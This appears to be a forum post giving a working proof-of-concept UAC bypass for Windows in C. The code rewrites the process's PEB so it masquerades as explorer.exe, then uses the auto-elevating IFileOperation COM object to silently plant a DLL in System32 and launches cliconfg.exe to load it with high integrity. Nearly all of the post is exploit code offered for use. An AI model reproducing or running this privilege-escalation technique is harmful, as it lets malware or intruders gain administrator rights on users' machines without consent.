Some addition to Leo Davidson method with IFileOperation. As in fact you don't need any "inject" in MS process to trick Windows auto-elevation. Just made your process loook like a MS process. Kind of easy to implement and it work on RS1 too.
As payload used modified Fubuki dll from UACMe 2.0.
Test code of PoC
Code: Select allvoid TestCopy()
{
BOOL cond = FALSE;
IFileOperation *FileOperation1 = NULL;
IShellItem *isrc = NULL, *idst = NULL;
BIND_OPTS3 bop;
SHELLEXECUTEINFOW shexec;
HRESULT r;
do {
r = CoInitialize(NULL);
if (r != S_OK)
break;
RtlSecureZeroMemory(&bop, sizeof(bop));
RtlSecureZeroMemory(&shexec, sizeof(shexec));
r = CoCreateInstance(&CLSID_FileOperation, NULL,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1);
if (r != S_OK) {
break;
}
if (FileOperation1 != NULL) {
FileOperation1->lpVtbl->Release(FileOperation1);
}
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER;
r = CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}", (BIND_OPTS *)&bop, &IID_IFileOperation, &FileOperation1);
if (r != S_OK) {
break;
}
if (FileOperation1 == NULL) {
r = E_FAIL;
break;
}
FileOperation1->lpVtbl->SetOperationFlags(FileOperation1,
FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION);
r = SHCreateItemFromParsingName(L"C:\\temp\\ntwdblib.dll",
NULL, &IID_IShellItem, &isrc);
if (r != S_OK) {
break;
}
r = SHCreateItemFromParsingName(L"C:\\windows\\system32\\", NULL, &IID_IShellItem, &idst);
if (r != S_OK) {
break;
}
r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL);
if (r != S_OK) {
break;
}
r = FileOperation1->lpVtbl->PerformOperations(FileOperation1);
if (r != S_OK) {
break;
}
idst->lpVtbl->Release(idst);
idst = NULL;
isrc->lpVtbl->Release(isrc);
isrc = NULL;
shexec.cbSize = sizeof(shexec);
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
shexec.nShow = SW_SHOW;
shexec.lpFile = L"C:\\windows\\system32\\cliconfg.exe";
shexec.lpParameters = NULL;
shexec.lpDirectory = L"C:\\windows\\system32\\";
if (ShellExecuteExW(&shexec)) {
if (shexec.hProcess != NULL) {
WaitForSingleObject(shexec.hProcess, INFINITE);
CloseHandle(shexec.hProcess);
}
}
} while (cond);
if (FileOperation1 != NULL) {
FileOperation1->lpVtbl->Release(FileOperation1);
}
if (isrc != NULL) {
isrc->lpVtbl->Release(isrc);
}
if (idst != NULL) {
idst->lpVtbl->Release(idst);
}
CoUninitialize();
}
void ShowProcessIntegrityLevel()
{
NTSTATUS status;
HANDLE hToken;
ULONG LengthNeeded;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
DWORD dwIntegrityLevel;
WCHAR *t = NULL;
WCHAR szBuffer[MAX_PATH + 1];
status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken);
if (NT_SUCCESS(status)) {
status = NtQueryInformationToken(hToken, TokenIntegrityLevel, NULL, 0, &LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, LengthNeeded);
if (pTIL) {
status = NtQueryInformationToken(hToken, TokenIntegrityLevel, pTIL, LengthNeeded, &LengthNeeded);
if (NT_SUCCESS(status)) {
dwIntegrityLevel = *RtlSubAuthoritySid(pTIL->Label.Sid,
(DWORD)(UCHAR)(*RtlSubAuthorityCountSid(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID)
{
t = L"Low Process";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
{
t = L"Medium Process";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID)
{
t = L"High Integrity Process";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID)
{
t = L"System Integrity Process";
}
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
wsprintf(szBuffer, L"PID=%lu, IntegrityLevel=%ws",
GetCurrentProcessId(), t);
}
LocalFree(pTIL);
}
}
NtClose(hToken);
}
if (t) MessageBox(0, szBuffer, GetCommandLineW(), MB_ICONINFORMATION);
}
void main()
{
PLDR_DATA_TABLE_ENTRY Entry;
PLIST_ENTRY Head, Next;
PPEB Peb = RtlGetCurrentPeb();
PVOID ImageBase = Peb->ImageBaseAddress;
WCHAR szBuffer[MAX_PATH + 1];
ShowProcessIntegrityLevel();
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
GetWindowsDirectory(szBuffer, MAX_PATH);
lstrcat(szBuffer, L"\\explorer.exe");
RtlEnterCriticalSection(Peb->FastPebLock);
RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, szBuffer);
RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, szBuffer);
RtlLeaveCriticalSection(Peb->FastPebLock);
RtlEnterCriticalSection(Peb->LoaderLock);
Head = &Peb->Ldr->InLoadOrderModuleList;
Next = Head->Flink;
while (Next != Head) {
Entry = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (Entry->DllBase == ImageBase) {
RtlInitUnicodeString(&Entry->FullDllName, szBuffer);
RtlInitUnicodeString(&Entry->BaseDllName, L"explorer.exe");
break;
}
Next = Next->Flink;
}
RtlLeaveCriticalSection(Peb->LoaderLock);
TestCopy();
ExitProcess(0);
}